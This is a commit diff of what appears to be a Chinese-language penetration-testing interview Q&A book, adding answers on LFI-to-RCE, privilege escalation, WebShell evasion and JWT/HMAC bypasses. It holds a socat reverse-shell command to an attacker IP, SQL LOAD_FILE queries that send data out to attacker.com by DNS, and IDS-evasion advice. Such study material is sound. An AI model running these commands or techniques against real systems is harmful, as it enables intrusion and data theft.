提交说明

This commit is contained in:
duckpigdog
2026-03-11 10:31:47 +08:00
parent 85abd8cd1b
commit 9cc4502105
15 changed files with 640 additions and 448 deletions
+3 -7
View File
@@ -7,30 +7,26 @@ Web 配置文件通常包含连接数据库、调用第三方服务(API Key)
ASP.NET 网站的核心配置文件集中在应用的根目录,文件名固定,便于查找 ASP.NET 网站的核心配置文件集中在应用的根目录,文件名固定,便于查找
| 目标文件 | 常见路径 | 敏感信息 | | 目标文件 | 常见路径 | 敏感信息 |
| ---------------- | -------------- | ------------------------------------------------------------ | | ---------------- | --------- | ------------------------------------------------------------------------ |
| **`Web.config`** | Web 应用根目录 | **数据库连接字符串**SQL Server/MySQL 等)、**加密密钥**MachineKey)、**会话状态配置**、自定义应用设置 | | **`Web.config`** | Web 应用根目录 | **数据库连接字符串**SQL Server/MySQL 等)、**加密密钥**MachineKey)、**会话状态配置**、自定义应用设置 |
**2. PHP 网站 (LAMP/LEMP)** **2. PHP 网站 (LAMP/LEMP)**
PHP 网站的配置文件命名较为灵活,通常位于应用的根目录或专门的配置目录中。渗透测试时,需要重点关注包含 `db``conn` 字样的文件 PHP 网站的配置文件命名较为灵活,通常位于应用的根目录或专门的配置目录中。渗透测试时,需要重点关注包含 `db``conn` 字样的文件
| 目标文件 | 常见路径 | 敏感信息 | | 目标文件 | 常见路径 | 敏感信息 |
| ------------------ | ----------------------- | ------------------------------------------------------------ | | ------------------ | ----------------- | --------------------------------------------- |
| **`config.php`** | 根目录或 `/config` 目录 | 数据库连接参数、API Key、配置常量、**Redis/Memcached 连接信息** | | **`config.php`** | 根目录或 `/config` 目录 | 数据库连接参数、API Key、配置常量、**Redis/Memcached 连接信息** |
| **`db.php`** | 根目录或 `/config` 目录 | **数据库主机、端口、用户名、密码** | | **`db.php`** | 根目录或 `/config` 目录 | **数据库主机、端口、用户名、密码** |
| **`conn.php`** | 根目录或 `/config` 目录 | 数据库连接函数或代码 | | **`conn.php`** | 根目录或 `/config` 目录 | 数据库连接函数或代码 |
| **`database.php`** | 根目录或 `/config` 目录 | 数据库连接配置 | | **`database.php`** | 根目录或 `/config` 目录 | 数据库连接配置 |
**3. Java/JSP 网站 (Tomcat/Spring)** **3. Java/JSP 网站 (Tomcat/Spring)**
Java 应用的配置文件散布在 `WEB-INF/classes` 目录中,它们通常是**属性文件(Properties** 或 **YAML/XML 格式**。此外,应用服务器本身的配置文件也是重要的目标 Java 应用的配置文件散布在 `WEB-INF/classes` 目录中,它们通常是**属性文件(Properties** 或 **YAML/XML 格式**。此外,应用服务器本身的配置文件也是重要的目标
| 目标文件 | 常见路径 | 敏感信息 | | 目标文件 | 常见路径 | 敏感信息 |
| ---------------------- | ----------------------------------------- | ------------------------------------------------------------ | | ---------------------- | ----------------------------------- | --------------------------------------------------------------------------------------------------------- |
| **`.properties` 文件** | `webapps/[应用名称]/WEB-INF/classes` 目录 | `application.properties`, `jdbc.properties`, `database.properties`, `db.properties` 等,包含**数据库连接、第三方服务配置** | | **`.properties` 文件** | `webapps/[应用名称]/WEB-INF/classes` 目录 | `application.properties`, `jdbc.properties`, `database.properties`, `db.properties` 等,包含**数据库连接、第三方服务配置** |
| **`.yaml` 文件** | `webapps/[应用名称]/WEB-INF/classes` 目录 | `application.yaml``application.yml`**Spring Boot/Cloud** 应用的核心配置文件,包含所有敏感配置 | | **`.yaml` 文件** | `webapps/[应用名称]/WEB-INF/classes` 目录 | `application.yaml``application.yml`**Spring Boot/Cloud** 应用的核心配置文件,包含所有敏感配置 |
| **`web.xml`** | `webapps/[应用名称]/WEB-INF` 目录 | 部署描述符,可能包含**Servlet/Filter 的初始化参数**(如密码) | | **`web.xml`** | `webapps/[应用名称]/WEB-INF` 目录 | 部署描述符,可能包含**Servlet/Filter 的初始化参数**(如密码) |
+13 -14
View File
@@ -1,24 +1,23 @@
### 请说明 MSF 的扫描模块与 Nmap 或 FScan 相比,在隐蔽性和灵活性上的优势和劣势 ### 如果目标站点开启了 WAF 或对高频扫描进行了封禁,你会怎么获取敏感路径
**隐蔽性** **高级搜索引擎语法**
在隐蔽性方面,**MSF 模块**通常比原生扫描器更具优势,因为它工作在**应用层(L7)** - 使用Google或Bing的高级语法搜索目标域名下的遗留路径
- 例如:`site:target.com intitle:"index of"`(查看目录列表)
- **MSF 的优势:** MSF 的辅助模块模仿的是**真实的客户端与服务器的协议交互**,例如发送一个标准的 HTTP GET 请求来获取版本信息,或者尝试一个正常的 SMB 登录。这种流量看起来更像**正常的业务通信**,能够更好地**规避 IDS/IPS 对原始网络包(Raw Packets)的检测**。此外,MSF 模块通常是针对**特定目标或任务**进行单次、精准的验证,不容易被发现 **网络空间搜索引擎**
- **原生扫描器的劣势:** **Nmap****FScan** 主要依赖于发送 **L3/L4 层的原始数据包**(如 SYN/ACK、ICMP)。尽管 Nmap 支持多种隐蔽扫描技术(如 FIN、Xmas),但这种**裸包扫描的特征**非常明显,很容易被专业的流量分析工具和 IDS/IPS 标记为**恶意扫描行为**。它们默认往往进行**大范围、多端口的全面扫描**,容易被发现
**** - 利用 Fofa、Shodan、ZoomEye 等平台。它们会定期扫描全网并存储历史数据。通过这些平台,我们有时能直接看到目标服务器上曾经开放的端口、目录结构,甚至是一些已经被删除但依然存在于缓存中的敏感文件
**灵活性** **JS 爬取**
在灵活性方面,MSF 的优势体现在**流程整合**和**快速定制**上,而 Nmap/FScan 则体现在**扫描深度**上 - 手动或使用工具(如`Web-Recon`)深度爬取目标网站的 JavaScript 文件
- 现代前端框架(如React、Vue)会将 API 接口、后台路径、隐藏参数硬编码在 JS 文件中
**流程整合与定制(MSF 优势)** **GitHub 搜索**
- **MSF 的巨大优势:** MSF 提供了**一站式的渗透测试流程**。扫描模块的输出(如发现的服务版本或弱口令)可以**直接无缝地作为利用模块(Exploit)的输入**,实现了**信息收集、漏洞利用到后渗透的自动化衔接**。这种**功能整合性**是 Nmap/FScan 无法比拟的,后者需要手动导入数据 - 搜索目标公司员工的代码提交记录。有时候员工会将包含敏感路径的配置文件错误地提交到公开仓库
- **MSF 的定制优势:** MSF 模块基于 **Ruby** 脚本语言编写,结构清晰。这使得渗透测试工程师可以**快速、轻松地修改**现有模块的协议交互逻辑、添加自定义的指纹识别,或者整合自己的混淆技术,**定制和迭代效率极高**
**扫描深度与覆盖(Nmap/FScan 优势)** **分析历史DNS记录**
- **原生扫描器的巨大优势:** **Nmap** 是业界公认的**端口扫描之王**,在**网络发现**和**全面资产识别**方面具有不可撼动的地位。它支持所有 TCP/UDP 协议的底层裸包扫描,能够穿透各种网络环境,实现**最全面的端口服务覆盖** - 通过SecurityTrails等平台查询历史DNS解析记录。很多时候,开发者会使用`dev.target.com``test.target.com``jenkins.target.com`作为内部测试子域名
- **MSF 的劣势:** MSF 模块多是针对**特定应用或漏洞**的验证性脚本,其设计的目的在于“验证是否存在”,而非“发现所有资产”。因此,它在发现**未知或非标准服务**的**深度和广度**上,远不如 Nmap
-65
View File
@@ -1,65 +0,0 @@
### 请你详细说说你如何定制或魔改一个 MSF 扫描模块使其能更好地绕过流量分析和 IDS/IPS 的检测
**一、理解检测原理与目标**
在动手修改代码之前,**深入理解 IDS/IPS 和流量分析的工作原理**至关重要
- **IDS/IPS 的检测机制:**
- **签名匹配 (Signature-based):** 默认 MSF 模块中的特定字节序列、Header 值(如 User-Agent)或请求结构是已知的签名
- **异常检测 (Anomaly-based):** 寻找与正常流量模式(如不常见的端口、非标准协议行为、高并发连接速率)的偏差
- **协议解析 (Protocol Parsing):** 检查请求是否符合协议规范
- **流量分析的关键点:**
- **时间特征:** 快速、连续的扫描行为(高连接速率)
- **指纹信息:** 默认的 HTTP Header (如 `User-Agent: Metasploit`), TCP/IP 栈指纹
- **载荷特征:** 默认载荷的字节序列、编码方式
****
**二、模块定制与魔改的四大策略**
我主要从 **网络层、应用层、行为模式****载荷** 四个维度进行魔改
**1. 流量特征模糊化(应用层/网络层)**
这部分旨在改变数据包的**静态指纹**,使其看起来更像正常、随机的客户端流量
| 定制目标 | 具体魔改方法 | 绕过机制 |
| -------------------- | ------------------------------------------------------------ | -------------------------------------- |
| **User-Agent** | 随机化 **`User-Agent`** 列表,使用主流浏览器和操作系统的真实组合。**避免**使用 MSF 或其他工具的默认值。 | 绕过基于特定 UA 签名的检测 |
| **HTTP Header** | 增加、修改或随机化其他 Header,如 `Accept-Language`, `Referer`, `Cache-Control`。**特别是**修改 **`Accept-Encoding`**,以影响响应和请求的压缩 | 模拟真实浏览器行为,使流量分析更困难 |
| **TLS/SSL 指纹** | 在使用 HTTPS 扫描时,修改 **JA3/JA4 指纹**。这通常涉及修改底层的 Ruby 库或使用特定的 Sockets 库,以随机化 **Client Hello** 消息中的加密套件、扩展顺序等 | 绕过基于 TLS 握手特征的检测 |
| **IP 分片/TCP 乱序** | 引入 IP 分片或 TCP 分段乱序的逻辑(需更底层库支持),但需注意过度使用可能导致目标拒绝连接 | 绕过签名匹配(签名可能无法跨分片识别) |
**2. 行为模式降速与随机化**
这是绕过基于**行为分析**和**速率限制**的关键
- **延迟与抖动 (Delay & Jitter):**
- **增加扫描间隔 (`Sleep`):** 在每次连接请求之间引入随机的延迟,如 2∼5 秒,避免高并发
- **引入随机抖动:** 使用非线性的、随机的延迟时间,使扫描速率难以被算法模型预测
- **IP 地址轮换 (Proxy Chaining):**
- 集成 **Socks 代理链 (如 Tor)** 或购买**高匿名的住宅 IP 池**。在 MSF 模块中,可以通过设置 `Proxies` 选项,或直接修改模块代码以从 IP 池中随机选择出口 IP
- **连接失败处理:**
- 设置更人性化的重试机制,而不是立即放弃或高速重试,模拟网络不稳定的真实用户行为
**3. 代码逻辑混淆与指纹去除**
直接修改模块的 Ruby 代码,消除内部的**软件指纹**
- **移除/修改内部标识符:** 许多 MSF 模块会在请求中加入一些微小的、不影响功能的标识符。比如,在 POST 请求体中加入**不影响解析的空格或随机参数**
- **重写核心请求函数:** 避免使用 MSF 默认的 `send_request_cgi` 等包装函数,而是使用更底层的 `Rex::Socket` 或其他 Ruby HTTP 库,**完全重构**请求的构造过程,消除函数调用栈和代码结构上的指纹
- **自定义协议处理:** 如果是针对非 HTTP 协议的扫描,重写协议解析和构造逻辑,确保只发送扫描所需的最小数据,并使用非标准的字段顺序
**4. 载荷定制与动态编码**
对于渗透模块(如 Exploit),载荷的定制是核心
- **动态编码:** 不使用 MSF 默认的编码器(如 `shikata_ga_nai`,它们有已知特征),而是使用**自定义或多重异或/加法编码**,并结合**自定义解码存根**
- **无文件载荷:** 尽可能使用反射型 DLL 注入或其他内存载荷,避免将恶意文件写入磁盘,绕过基于文件哈希和行为的终端检测
- **载荷分块传输:** 将载荷分割成多个小块,通过不同的请求或连接分阶段传输,最后在目标内存中重组,绕过基于载荷完整性的深度包检测 (DPI)
+5
View File
@@ -0,0 +1,5 @@
### 任意文件读取漏洞 `..%01` 绕过原理
C 语言中,字符串以 `\0`(null 字节)作为结束标志,一旦遇到该字符,后续内容将被忽略
当用户提交 `%00` 时,Web 服务器(或应用层)会对其进行 URL 解码,还原成二进制 `0x00`。如果应用程序没有过滤或转义这个空字节,并将其直接传递给底层文件操作函数,那么函数会认为字符串在空字节处结束,从而丢弃后面的字符
+23
View File
@@ -0,0 +1,23 @@
### LFI 怎么打 RCE
**1. 日志文件注入**
Web 服务器通常记录访问日志(如 Apache 的 `access.log``error.log`),攻击者可在 User-Agent、Referer 等头中插入PHP 代码,然后通过 LFI 包含日志文件,使代码被执行
**2. 包含 `/proc/self/environ`**
该文件包含当前进程的环境变量,User-Agent、Referer 等请求头会作为环境变量值写入。可通过 User-Agent 注入代码,然后包含该文件
**3. PHP 伪协议**
a) `php://filter` 配合文件上传
通过 `php://filter/convert.base64-encode/resource=` 可读取源码,但若想写入 Webshell,常结合文件上传功能:先上传一个含有 PHP 代码的图片马,然后用 `php://filter` 读取并解码写入新文件
b) `php://input`
`allow_url_include=On` 时,可通过 `php://input` 执行 POST 数据中的代码
c) `data://` 协议
同样需要 `allow_url_include=On`,可直接在 URL 中嵌入代码
+18
View File
@@ -0,0 +1,18 @@
### 如果发现某个二进制文件设置了 SUID,你该如何快速判断它是否可以被用来提权
**1. 确认基本条件**
- 所有者是否为 root:使用 `ls -l` 查看文件所有者。只有 root 所有的 SUID 文件才有提权价值
- 当前用户是否可执行:检查文件权限中是否有 `x`(执行权),若无则无法利用
**2. 检查是否属于 GTFOBins 列表**
GTFOBins 是一个专门收录可被用于绕过安全限制的 Unix 二进制文件的社区项目
```bash
https://gtfobins.github.io/gtfobins/
```
**3. 检查调用**
结合 strings 快速查看可疑调用
+74
View File
@@ -0,0 +1,74 @@
### 除了 Python,请再给出一种在环境中没有安装 Python 时升级 TTY 的方法
**方法一:使用 Script 命令**
大多数 Linux 发行版默认安装了 `script` 工具,可用于记录终端会话,同时生成一个完整的 TTY
```bash
script /dev/null -c bash
# 或
script -q /dev/null
```
- 原理:`script` 会创建一个新的伪终端(pty),并将当前 Shell 附加到该终端上
**方法二:使用 Socat**
如果目标有 `socat`,可以创建完整的双向交互式 Shell
在攻击机监听
```bash
socat file:`tty`,raw,echo=0 tcp-listen:4444
```
在目标机连接
```bash
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:攻击机IP:4444
```
- **优点**:获得完整的伪终端,支持 Tab 补全、作业控制、信号处理
- **缺点**`socat` 并非默认安装,可能需要上传静态编译版本
**方法三:使用 Expect**
`expect` 常用于自动化交互式程序,也可以用来提升 TTY
```bash
expect -c 'spawn bash; interact'
```
- **原理**`spawn` 创建一个新的伪终端进程,`interact` 将控制权交给用户
- **前提**:需要目标安装 `expect`
**方法四:使用 Stty 手动配置**
即使没有额外工具,也可以通过 `stty` 命令手动恢复终端的基本功能:
```bash
# 在当前受限 Shell 中执行
stty raw -echo
# 按下 Ctrl+J(不是回车)重新连接
# 然后输入 reset 并按 Ctrl+J
reset
export SHELL=bash
export TERM=xterm-256color
stty rows 38 columns 116
```
步骤解析:
1. `stty raw -echo`:关闭终端的行缓冲和回显,使字符立即传递
2. `Ctrl+J`(即换行符)重新连接 Shell
3. `reset` 初始化终端状态
4. 设置环境变量和终端尺寸(可选)
**方法五:使用其他编程语言**
如果目标没有 Python 但有 Perl(很多系统默认安装)
```bash
perl -e 'use POSIX qw(setsid); print " spawn tty\n"; system("bash -i");'
```
+15
View File
@@ -0,0 +1,15 @@
### 请简述 udev 提权漏洞的基本原理
**udev** 是 Linux 内核的设备管理器,负责动态管理 `/dev` 目录下的设备节点
当内核检测到硬件事件(如插入 USB 设备)时,会通过 **netlink 套接字** 向用户空间的 udev 守护进程发送 **uevent**(设备事件)
udev 根据 `/etc/udev/rules.d/` 中的规则执行相应操作(如创建设备文件、加载驱动、运行自定义程序)
内核发送的 uevent 本质是一条包含环境变量(如 `ACTION=add``DEVPATH=...`)的字符串
udev 守护进程以 **root 权限** 运行,它接收并解析这些消息,然后根据规则执行操作
**问题在于**:netlink 套接字不仅允许内核向 udev 发送消息,**也允许用户空间的普通进程向 udev 发送伪造的 uevent**
发送伪造消息后,udev 以 root 权限处理该消息,执行攻击者控制的命令
+22
View File
@@ -0,0 +1,22 @@
### WebShell 免杀方式有哪些
**字符串拆分与拼接**:将敏感函数名、命令拆分为多段,运行时动态拼接
**编码与加密**:使用 Base64、AES 等编码核心载荷,运行时解码执行
**变量名与函数名随机化**:使用无意义的变量名,增加人工分析难度
**使用冷门回调函数**:如 `array_map``array_filter``usort` 等配合 `call_user_func`
**利用反射或动态特性**PHP 中通过 `$func = new ReflectionFunction('system'); $func->invoke('whoami');`
**借助语言自身机制**:如 Java 中的 ScriptEngine、Python 的 `exec`/`eval` 多层包装
**分段加载**:主 Shell 代码仅负责从远端获取真正的后门代码并执行(类似 Stager 模式)
**时间条件**:仅在特定时间或延迟几秒后执行,规避沙箱的短时间行为分析
**换行符/注释混淆**:在关键函数中插入换行、多行注释、无效字符
**多层嵌套与动态调用**:将执行链拆解为多步,每一步看似正常,运行时才组合
+25
View File
@@ -0,0 +1,25 @@
### Web 测试越权漏洞发现敏感参数都经过了带有 HMAC 验证,在无法暴力破解 Key 的情况下怎么绕过
**1. 算法混淆与降级**
- 尝试将签名算法字段改为 `none` 或弱算法,观察是否被接受
**2. 签名比较方式**
- 若后端使用 `==``strcmp` 进行字符串比较,可能被**时序攻击**或**类型混淆**利用
**3. 签名截断**
- 某些系统只验证签名的前几位(如前16位),可尝试截断签名或提交短签名,观察是否通过校验
**4. 参数注入与覆盖**
- 利用 HTTP 参数解析歧义(如 `role=A&role=admin`),后端可能取第一个或最后一个值,而签名可能只覆盖其中一个
**5. 参数排序与拼接**
- 如果签名基于键值对拼接(如`k1=v1&k2=v2`),但后端解析时对参数进行排序或去重,导致签名验证时使用的字符串与原始不同。尝试调整参数顺序,使签名仍匹配
**6. 签名生成接口暴露**
- 检查是否存在未授权的签名生成接口(如`/sign?data=...`),可构造任意参数的签名。若该接口未严格校验权限,则直接获取有效签名
+17
View File
@@ -0,0 +1,17 @@
### JWT 有哪些漏洞
**1. 算法混淆攻击**
- 原理:服务器使用 RS256(非对称加密)验证令牌,但攻击者将算法头部改为 HS256(对称加密),并利用服务器公钥作为 HMAC 密钥签名令牌。
- 利用条件:服务器未严格校验算法类型,且公钥可获取
- 攻击步骤:
1. 获取服务器公钥(通常从 `/jwks.json` 或重复使用 SSL 证书)
2. 修改 JWT 头部:`"alg":"HS256"`
3. 使用公钥作为密钥生成 HMAC 签名
4. 服务器用公钥解密(误认为是 HMAC 密钥)→ 验证通过
**2. none 算法攻击**
- **原理**:将 `alg` 头部设为 `none`,使服务器跳过签名验证
- **利用**:直接删除签名部分,修改 Payload 内容
- **防御**:现代 JWT 库默认禁用 `none`,但配置错误可能启用
+2
View File
@@ -0,0 +1,2 @@
### `%00` 绕过的原理是什么
+54
View File
@@ -0,0 +1,54 @@
### 无回显、MySQL 5.7 以下、wait_timeout 极短的情况下怎么快速验证 RCE
要最终执行系统命令,通常需要满足以下条件之一:
1. **文件写入权限 + 知道可写 Web 路径**:通过`INTO OUTFILE`写入Webshell,再通过 HTTP 访问触发命令执行
2. **文件写入权限 + 计划任务/启动项**:写入计划任务或启动脚本,等待系统定时或重启时执行
3. **数据库扩展(UDF**:拥有 `FILE` 权限且插件目录可写,加载自定义函数执行系统命令
4. **MySQL 日志功能**:开启 general log 并将查询写入 Web 目录,生成包含代码的日志文件(需满足写权限)
**1. 验证数据库出网能力**
利用 `LOAD_FILE()` 支持 UNC 路径的特性(MySQL 中 `load_file()` 可访问 `\\\\IP\\share`,触发 SMB 请求),将数据作为子域名发送至攻击者控制的 DNS 服务器
```sql
SELECT LOAD_FILE(CONCAT('\\\\', (SELECT @@version), '.attacker.com\\test'));
```
若攻击者收到 DNS 解析请求,则证明:
- 数据库可以出网
- 数据库版本已知
- 数据库用户拥有 `FILE` 权限(因为 `LOAD_FILE` 需要 `FILE` 权限)
**2. 探测`secure_file_priv`设置**
继续利用 `LOAD_FILE``secure_file_priv` 的值带出:
```sql
SELECT LOAD_FILE(CONCAT('\\\\', (SELECT @@global.secure_file_priv), '.attacker.com\\priv'));
```
- 如果收到 `空.attacker.com`,表示 `secure_file_priv` 为空,允许任意路径写入
- 如果收到如 `/var/lib/mysql-files.attacker.com`,则只允许该目录
- 如果没有收到请求,则可能是 `NULL`,需进一步确认(可尝试写入测试文件后验证)
**3. 探测可写目录**
`secure_file_priv` 允许写入,需要找到一个可写且后续能触发命令的目录。常见试探目标:
- **Web 根目录**:尝试写入一个无害测试文件(如`test.txt`),然后通过 HTTP 访问确认
- **系统临时目录**(如 `/tmp``C:\Windows\Temp`):可写但通常无法直接触发命令,除非配合其他漏洞
- **计划任务目录**(如 `/etc/cron.d/``C:\Windows\Tasks`):写入后等待系统执行
**4. 验证 UDF 可能性**
如果无法写入计划任务或Web路径,但数据库版本较低且为 root,可尝试 UDF。需先获取插件目录
```sql
SELECT @@plugin_dir;
```
可通过 OOB 带出
如果插件目录可写,则可写入UDF库(需先转换为十六进制)并创建函数执行命令
+356 -349
View File
@@ -1,4 +1,4 @@
# 目录 目录
- [前言](README.md) - [前言](README.md)
- [1. 信息收集](Chapter1/README.md) - [1. 信息收集](Chapter1/README.md)
@@ -32,351 +32,358 @@
- [1.28 怎么收集主机上的所有有关密码的敏感信息](Chapter1/1-28.md) - [1.28 怎么收集主机上的所有有关密码的敏感信息](Chapter1/1-28.md)
- [1.29 Web 配置文件信息怎么收集](Chapter1/1-29.md) - [1.29 Web 配置文件信息怎么收集](Chapter1/1-29.md)
- [1.30 抓取到域内 Windows 主机的 Wi-Fi 密码有什么利用思路](Chapter1/1-30.md) - [1.30 抓取到域内 Windows 主机的 Wi-Fi 密码有什么利用思路](Chapter1/1-30.md)
- [1.31 请说明 MSF 的扫描模块与 Nmap 或 FScan 相比,在隐蔽性和灵活性上的优势和劣势](Chapter1/1-31.md) - [1.31 如果目标站点开启了 WAF 或对高频扫描进行了封禁,你会怎么获取敏感路径](Chapter1/1-31.md)
- [1.32 请你详细说说你如何定制或魔改一个 MSF 扫描模块使其能更好地绕过流量分析和 IDS/IPS 的检测](Chapter1/1-32.md) - [2. SQL 注入](Chapter4/README.md)
- [2. XSS](Chapter2/README.md) - [2.1 过滤逗号的 SQL 注入如何绕过](Chapter4/4-1.md)
- [2.1 输出到 href 属性的 XSS 如何防御](Chapter2/2-1.md) - [2.2 SQL 报错注入函数有哪些](Chapter4/4-2.md)
- [2.2 XSS 绕过方式](Chapter2/2-2.md) - [2.3 SQL 延时盲注 sleep() 被禁用怎么绕过](Chapter4/4-3.md)
- [2.3 XSS 利用方式](Chapter2/2-3.md) - [2.4 SQL 注入怎么写入 WebShell](Chapter4/4-4.md)
- [2.4 XSS 怎么打内网](Chapter2/2-4.md) - [2.5 宽字节注入漏洞原理](Chapter4/4-5.md)
- [2.5 XSS 如何绕过 HttpOnly 获取 Cookie](Chapter2/2-5.md) - [2.6 二次注入漏洞原理](Chapter4/4-6.md)
- [2.6 有 Shell 的情况下如何使用 XSS 实现对目标站的长久控制](Chapter2/2-6.md) - [2.7 堆叠注入漏洞原理](Chapter4/4-7.md)
- [2.7 反射型、存储型、DOM 型 XSS 的核心区别](Chapter2/2-7.md) - [2.8 SQLMap 参数 level 与 risk 区别](Chapter4/4-8.md)
- [2.8 为什么说 DOM XSS 对传统 WAF 基本免疫](Chapter2/2-8.md) - [2.9 MySQL 提权方式有哪些](Chapter4/4-9.md)
- [2.9 如果你发现一个输入点最终进入了 `<textarea>`,你是直接放弃,还是继续深入?为什么?](Chapter2/2-9.md) - [2.10 MSSQL 的 xp_cmdshell() 函数被禁用怎么绕过](Chapter4/4-10.md)
- [2.10 为什么很多 XSS 在 Chrome 可以复现,但在 Firefox 不行?你如何判断这是漏洞问题还是浏览器差异?](Chapter2/2-10.md) - [2.11 MySQL 5.0 以上和 5.0 以下的区别](Chapter4/4-11.md)
- [2.11 黑名单拦截了所有常见标签和事件,但页面仍然需要支持富文本渲染,你会从哪些方向尝试突破?](Chapter2/2-11.md) - [2.12 SQL 注入 outfile() 被过滤怎么绕过](Chapter4/4-12.md)
- [2.12 CSP 的绕过方式有哪些](Chapter2/2-12.md) - [2.13 SQL 注入中 Post 和 Get 都做了防注入可采用什么方式绕过](Chapter4/4-13.md)
- [2.13 CSP 的绕过方式有哪些](Chapter2/2-13.md) - [2.14 SQL 盲注 if() 函数被过滤怎么绕过](Chapter4/4-14.md)
- [3. CSRF](Chapter3/README.md) - [2.15 SQL 注入无回显利用 DNSLog 如何构造](Chapter4/4-15.md)
- [3.1 SameSite 防御 CSRF 的原理](Chapter3/3-1.md) - [2.16 and or 被过滤怎么绕过](Chapter4/4-16.md)
- [3.2 JSON 格式的 CSRF 如何防御](Chapter3/3-2.md) - [2.17 SQLMap 自带脚本有哪些](Chapter4/4-17.md)
- [3.3 Ajax 发送 POST 请求会发几个数据包](Chapter3/3-3.md) - [2.18 扫出后缀为 .asp 的数据库文件,访问乱码如何利用](Chapter4/4-18.md)
- [4. SQL 注入](Chapter4/README.md) - [2.19 找到一个注入点怎么判断对方什么数据库](Chapter4/4-19.md)
- [4.1 过滤逗号的 SQL 注入如何绕过](Chapter4/4-1.md) - [2.20 单引号被过滤怎么绕过](Chapter4/4-20.md)
- [4.2 SQL 报错注入函数有哪些](Chapter4/4-2.md) - [2.21 MySQL 一个 @ 和两个 @ 的区别](Chapter4/4-21.md)
- [4.3 SQL 延时盲注 sleep() 被禁用怎么绕过](Chapter4/4-3.md) - [2.22 为什么 MSSQL 存储过程可以执行命令](Chapter4/4-22.md)
- [4.4 SQL 注入怎么写入 WebShell](Chapter4/4-4.md) - [2.23 如果想通过 MSSQL 上传文件需要开启哪个存储过程的权限](Chapter4/4-23.md)
- [4.5 宽字节注入漏洞原理](Chapter4/4-5.md) - [2.24 无回显、MySQL 5.7 以下、wait_timeout 极短的情况下怎么快速验证 RCE](Chapter4/4-24.md)
- [4.6 二次注入漏洞原理](Chapter4/4-6.md) - [3. XSS](Chapter2/README.md)
- [4.7 堆叠注入漏洞原理](Chapter4/4-7.md) - [3.1 输出到 href 属性的 XSS 如何防御](Chapter2/2-1.md)
- [4.8 SQLMap 参数 level 与 risk 区别](Chapter4/4-8.md) - [3.2 XSS 绕过方式](Chapter2/2-2.md)
- [4.9 MySQL 提权方式有哪些](Chapter4/4-9.md) - [3.3 XSS 利用方式](Chapter2/2-3.md)
- [4.10 MSSQL 的 xp_cmdshell() 函数被禁用怎么绕过](Chapter4/4-10.md) - [3.4 XSS 怎么打内网](Chapter2/2-4.md)
- [4.11 MySQL 5.0 以上和 5.0 以下的区别](Chapter4/4-11.md) - [3.5 XSS 如何绕过 HttpOnly 获取 Cookie](Chapter2/2-5.md)
- [4.12 SQL 注入 outfile() 被过滤怎么绕过](Chapter4/4-12.md) - [3.6 有 Shell 的情况下如何使用 XSS 实现对目标站的长久控制](Chapter2/2-6.md)
- [4.13 SQL 注入中 Post 和 Get 都做了防注入可采用什么方式绕过](Chapter4/4-13.md) - [3.7 反射型、存储型、DOM 型 XSS 的核心区别](Chapter2/2-7.md)
- [4.14 SQL 盲注 if() 函数被过滤怎么绕过](Chapter4/4-14.md) - [3.8 为什么说 DOM XSS 对传统 WAF 基本免疫](Chapter2/2-8.md)
- [4.15 SQL 注入无回显利用 DNSLog 如何构造](Chapter4/4-15.md) - [3.9 如果你发现一个输入点最终进入了 `<textarea>`,你是直接放弃,还是继续深入?为什么?](Chapter2/2-9.md)
- [4.16 and or 被过滤怎么绕过](Chapter4/4-16.md) - [3.10 为什么很多 XSS 在 Chrome 可以复现,但在 Firefox 不行?你如何判断这是漏洞问题还是浏览器差异?](Chapter2/2-10.md)
- [4.17 SQLMap 自带脚本有哪些](Chapter4/4-17.md) - [3.11 黑名单拦截了所有常见标签和事件,但页面仍然需要支持富文本渲染,你会从哪些方向尝试突破?](Chapter2/2-11.md)
- [4.18 扫出后缀为 .asp 的数据库文件,访问乱码如何利用](Chapter4/4-18.md) - [3.12 CSP 的绕过方式有哪些](Chapter2/2-12.md)
- [4.19 找到一个注入点怎么判断对方什么数据库](Chapter4/4-19.md) - [4. CSRF](Chapter3/README.md)
- [4.20 单引号被过滤怎么绕过](Chapter4/4-20.md) - [4.1 SameSite 防御 CSRF 的原理](Chapter3/3-1.md)
- [4.21 MySQL 一个 @ 和两个 @ 的区别](Chapter4/4-21.md) - [4.2 JSON 格式的 CSRF 如何防御](Chapter3/3-2.md)
- [4.22 为什么 MSSQL 存储过程可以执行命令](Chapter4/4-22.md) - [4.3 Ajax 发送 POST 请求会发几个数据包](Chapter3/3-3.md)
- [4.23 如果想通过 MSSQL 上传文件需要开启哪个存储过程的权限](Chapter4/4-23.md) - [5. SSRF](Chapter10/README.md)
- [5. 横向移动](Chapter5/README.md) - [5.1 SSRF 漏洞存在位置](Chapter10/10-1.md)
- [5.1 常见横向方法](Chapter5/5-1.md) - [5.2 SSRF 漏洞绕过方法](Chapter10/10-2.md)
- [5.2 CS 上线不出网机器用到的什么类型的 Beacon](Chapter5/5-2.md) - [5.3 SSRF 漏洞利用方式](Chapter10/10-3.md)
- [5.3 PTT 有哪些攻击方法](Chapter5/5-3.md) - [5.4 SSRF 如何攻击内网服务](Chapter10/10-4.md)
- [5.4 DCSync 的利用条件](Chapter5/5-4.md) - [5.5 如何判断 SSRF 的流量是否攻击成功](Chapter10/10-5.md)
- [5.5 横向渗透命令执行手段](Chapter5/5-5.md) - [5.6 SSRF 怎么用 Redis 写 Shell](Chapter10/10-6.md)
- [5.6 PTH、PTT、PTK 三者区别](Chapter5/5-6.md) - [6. XXE](Chapter11/README.md)
- [5.7 一台机器不能出网,如何把一个 exe 文件放到对应的目标机器上去](Chapter5/5-7.md) - [6.1 XXE 漏洞利用方式](Chapter11/11-1.md)
- [5.8 说说域内委派](Chapter5/5-8.md) - [6.2 XXE 盲注思路](Chapter11/11-2.md)
- [5.9 怎么定位域管曾经登录哪些机器](Chapter5/5-9.md) - [6.3 PCDATA 和 CDATA 的区别](Chapter11/11-3.md)
- [5.10 现在在域外有一台工作组机器的权限但没有域用户且无法直接通过漏洞进入域内,请问这种情况怎么进入域中找到域控](Chapter5/5-10.md) - [7. 文件上传漏洞](Chapter12/README.md)
- [5.11 利用 NTLM Relay 配合 ADCS 这个漏洞的情况需要什么条件](Chapter5/5-11.md) - [7.1 文件上传漏洞绕过方法](Chapter12/12-1.md)
- [5.12 继上题,Responder 应该开在哪台机器上,为什么](Chapter5/5-12.md) - [8. RCE](Chapter13/README.md)
- [5.13 继上题,为什么 ADCS 这个漏洞能获取域管理员权限,原理是什么](Chapter5/5-13.md) - [8.1 代码执行、命令执行的函数有哪些](Chapter13/13-1.md)
